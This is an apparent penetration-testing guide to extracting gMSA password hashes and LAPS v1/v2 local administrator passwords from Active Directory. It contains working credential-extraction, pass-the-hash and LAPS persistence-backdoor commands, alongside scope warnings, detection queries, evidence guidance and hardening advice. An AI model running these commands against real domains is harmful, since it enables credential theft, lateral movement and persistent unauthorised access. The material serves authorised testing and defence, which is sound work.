9 min read

gMSA & LAPS Exploitation

Group Managed Service Accounts (gMSA) and Local Administrator Password Solution (LAPS) are designed to improve password security, but misconfigured permissions allow attackers to read these passwords directly from Active Directory. This guide covers enumeration and exploitation of both LAPS v1, LAPS v2 (Windows LAPS), and gMSA secrets.

Danger

Reading msDS-ManagedPassword, ms-Mcs-AdmPwd or msLAPS-Password is credential access, and each read is logged as object access on the domain controller. The written scope has to authorise reading stored secrets, not merely accessing the host you are reading them from, and it has to name the hosts or OUs whose passwords you may recover. Do not modify LAPS expiry or reader groups unless persistence or a control test is separately authorised.

Why This Matters

  • Cleartext Passwords: LAPS v1 stores local admin passwords in a cleartext AD attribute — anyone with read access gets the password instantly.
  • Service Account Takeover: gMSA passwords are 240+ random bytes, but the NTLM hash can be computed from the blob — enabling pass-the-hash for high-privilege service accounts.
  • Common Misconfiguration: Help desk groups or overly broad OU delegations frequently grant unintended LAPS/gMSA read access.
  • Lateral Movement Enabler: LAPS passwords grant local admin on individual machines; gMSA accounts often have elevated domain privileges.

gMSA Overview

Group Managed Service Accounts are AD objects with automatically rotated 240-byte passwords. The password is stored in the msDS-ManagedPassword attribute and can only be read by principals in the msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) group. If you compromise a principal with read access, you can extract the gMSA password hash.

gMSA Enumeration

gmsa-enumeration.sh
# PowerView — find all gMSAs and who can read their passwords
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword,
  ServicePrincipalNames | Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword,
  ServicePrincipalNames

# LDAP filter for gMSAs
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(objectClass=msDS-GroupManagedServiceAccount)" dn msDS-GroupMSAMembership

# BloodHound Cypher — find paths to gMSA password readers
MATCH (g:User) WHERE g.gmsa = true
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g))
RETURN p

# NetExec — check for gMSA
nxc ldap dc01.corp.local -u user -p 'Pass123' --gmsa

gMSA Password Extraction

From Linux (gMSADumper)

gmsadumper-extract.sh
# gMSADumper — extract gMSA NTLM hash
python3 gMSADumper.py -u 'allowed-user' -p 'Password1' -d corp.local

# Output: svc-sql:::aabbccdd11223344::: (NTLM hash)
# Use the hash for pass-the-hash
nxc smb targets.txt -u 'svc-sql$' -H 'aabbccdd11223344'

# Impacket ntlmrelayx with --dump-gmsa flag
ntlmrelayx.py -t ldaps://dc01.corp.local --dump-gmsa

From Windows (GMSAPasswordReader / DSInternals)

gmsa-reader-dsinternals.ps1
# GMSAPasswordReader (C#)
GMSAPasswordReader.exe --accountname svc-sql

# DSInternals PowerShell module
Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity svc-sql -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash = ConvertTo-NTHash $mp.SecureCurrentPassword
Write-Output "NTLM Hash: $hash"

# Use the hash with Rubeus
Rubeus.exe asktgt /user:svc-sql$ /rc4:$hash /nowrap

Information

gMSA → DA Path: gMSA accounts often run critical services (SQL, Exchange, SCCM) with elevated privileges. After extracting the hash, check BloodHound for outbound paths from the gMSA to Domain Admin.

LAPS v1 (Legacy MS-LAPS)

Legacy LAPS stores the local admin password in the ms-Mcs-AdmPwd attribute as cleartext. The expiration timestamp is in ms-Mcs-AdmPwdExpirationTime. Anyone with read access to these attributes on computer objects can retrieve passwords.

Enumeration — Who Can Read LAPS?

enumeration-who-can-read-laps.ps1
# PowerView — find which principals can read LAPS password attribute
Get-DomainObjectAcl -SearchBase "OU=Workstations,DC=corp,DC=local" \
  -ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' }

# Find computers with LAPS enabled
Get-DomainComputer -Filter '(ms-Mcs-AdmPwd=*)' -Properties name, ms-Mcs-AdmPwd,
  ms-Mcs-AdmPwdExpirationTime | Select-Object name, ms-Mcs-AdmPwd

# LAPSToolkit
Import-Module LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers

Reading LAPS Passwords

reading-laps-passwords.sh
# PowerShell (if you have read rights)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
  Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
  Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'

# NetExec — dump LAPS passwords
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps

# From Linux with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

# Impacket
python3 laps.py -u 'user' -p 'Pass123' -d corp.local

# Use the password
nxc smb target-ws01.corp.local -u Administrator -p 'LAPS-Password-Here' --local-auth

Windows LAPS (v2) — April 2023+

Windows LAPS (the replacement for legacy LAPS) stores passwords in msLAPS-Password and supports encryption via msLAPS-EncryptedPassword using the domain's DPAPI-NG. It also supports DSRM password management and password history.

Windows LAPS Enumeration & Reading

laps-v2-read.ps1
# Check which LAPS version is deployed
Get-ADComputer -Filter * -Properties msLAPS-Password, msLAPS-EncryptedPassword,
  ms-Mcs-AdmPwd | Select-Object Name,
  @{N='LAPSv2';E={$_.'msLAPS-Password' -ne $null}},
  @{N='LAPSv2-Encrypted';E={$_.'msLAPS-EncryptedPassword' -ne $null}},
  @{N='LAPSv1';E={$_.'ms-Mcs-AdmPwd' -ne $null}}

# Windows LAPS — read cleartext (if not encrypted)
Get-LapsADPassword -Identity WS01 -AsPlainText

# NetExec with Windows LAPS support
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps

# Encrypted LAPS passwords require the DPAPI-NG decryption key
# which is protected by the LAPS authorized readers group
# If you have DA, you can decrypt with:
Get-LapsADPassword -Identity WS01 -AsPlainText -IncludeHistory

Warning

Encrypted LAPS: Windows LAPS v2 with encryption enabled stores passwords using DPAPI-NG, tied to specific authorized groups. You need to be in the authorized decryptor group or have DA to decrypt. This is a significant security improvement over cleartext LAPS v1.

Post-Exploitation & Persistence

laps-persistence.ps1
# LAPS password backdoor — set expiration far in the future
# This prevents LAPS from rotating the password
Set-DomainObject -Identity 'WS01$' -Set @{
  'ms-Mcs-AdmPwdExpirationTime' = '9999999999999999'
}

# Windows LAPS — update expiration
Set-LapsADPasswordExpirationTime -Identity WS01 -WhenExpired (Get-Date).AddYears(10)

# Or: add your user to the LAPS readers group for ongoing access
Add-ADGroupMember -Identity "LAPS Admins" -Members "compromised-user"

Danger

Cleanup: Modifying LAPS expiration times or group memberships is highly detectable. Document all changes and restore original values after testing.

Detection & Blue Team

Event ID Source Indicator
4662 Security Object access — filter on ms-Mcs-AdmPwd attribute GUID for LAPS reads
5136 Security Object modification — watch for msDS-ManagedPassword access or LAPS expiration changes
4624 Security Successful logon — correlate local admin logons with LAPS password reads

KQL Detection — LAPS Password Access

kql-detection-laps-password-access.txt
// Detect LAPS password attribute reads
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"  // LAPS v1 GUID
| project TimeGenerated, SubjectUserName, ObjectName, OperationType

// Detect unusual LAPS readers (users not in authorized groups)
let authorized_readers = dynamic(["LAPS-Admins", "Domain Admins"]);
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"
| where SubjectUserName !in (authorized_readers)
| project TimeGenerated, SubjectUserName, ObjectName

Evidence Collection

The read: The identity you read the attribute as, and the attribute value with its timestamp — ms-Mcs-AdmPwd, msLAPS-Password or the gMSA blob.

The permission: Why that identity could read it: the group membership, the OU delegation, the ACE. Without this the finding is "I had access", not "this access was unintended".

Proof of use: One successful logon with the retrieved password or hash — the local admin on that host, or the service account against its SPN.

Scope of exposure: How many hosts the readable attribute covers. One LAPS password is a host; a readable ms-Mcs-AdmPwd on an OU is the estate.

CVSS range: LAPS password read on one host: 6.5–7.5 · OU-wide LAPS read: 8.1 · gMSA hash for a privileged service account: 8.8.

False Positive Identification

  • Helpdesk with LAPS read rights: That is the product working as deployed. It is a finding when the group is broader than the documented support model, or includes accounts that do not need it.
  • A gMSA reader that is not a host: PrincipalsAllowedToRetrieveManagedPassword often lists a group that contains no machines. A wrong entry is hygiene until an account you control is inside it.
  • An expired LAPS password: A password past its rotation timestamp may already be invalid. Try the logon before reporting the read as usable access.
  • Encrypted Windows LAPS you cannot decrypt: msLAPS-EncryptedPassword is not readable with the attribute alone. Without the authorized decryptor group, say so rather than implying a cleartext recovery.
  • A gMSA hash that authenticates nowhere: A gMSA can only log on where it is installed. Test the SPN it actually serves before writing it up as lateral movement.
  • LAPS enabled but empty: A host with the LAPS client but no password set returns nothing. That is a deployment gap, not credential exposure.

Testing Checklist

Enumerate the readers

  • ☐ Who can read ms-Mcs-AdmPwd / msLAPS-Password, per OU
  • ☐ Who is in PrincipalsAllowedToRetrieveManagedPassword for each gMSA
  • ☐ Which LAPS version each host runs, and whether v2 encryption is on
  • ☐ Whether your own foothold account is already a reader

Read, then prove

  • ☐ Read one password or hash and record the exact attribute and time
  • ☐ Authenticate with it once, against the host or SPN it belongs to
  • ☐ Do not modify expiry or group membership unless persistence is authorised
  • ☐ If you did modify them, restore the original values and confirm rotation still works

Remediation & Hardening

Protect the attributes

  • • Upgrade to Windows LAPS with DPAPI-NG encryption — cleartext ms-Mcs-AdmPwd is readable by anyone with the ACE
  • • Restrict gMSA readers to the hosts that run the service, and re-audit PrincipalsAllowedToRetrieveManagedPassword after every rebuild
  • • Use OU-level ACLs so LAPS read access is scoped to specific admin groups per OU
  • • Enable SACL auditing on ms-Mcs-AdmPwd, msLAPS-Password and msDS-ManagedPassword

Detect the read

  • • Alert on 4662 for the LAPS and gMSA attribute GUIDs from identities outside the authorised reader groups
  • • Correlate a LAPS read with a local-admin logon to that host within the same window
  • • Alert on 5136 changes to LAPS expiry or reader groups — the persistence path, not the read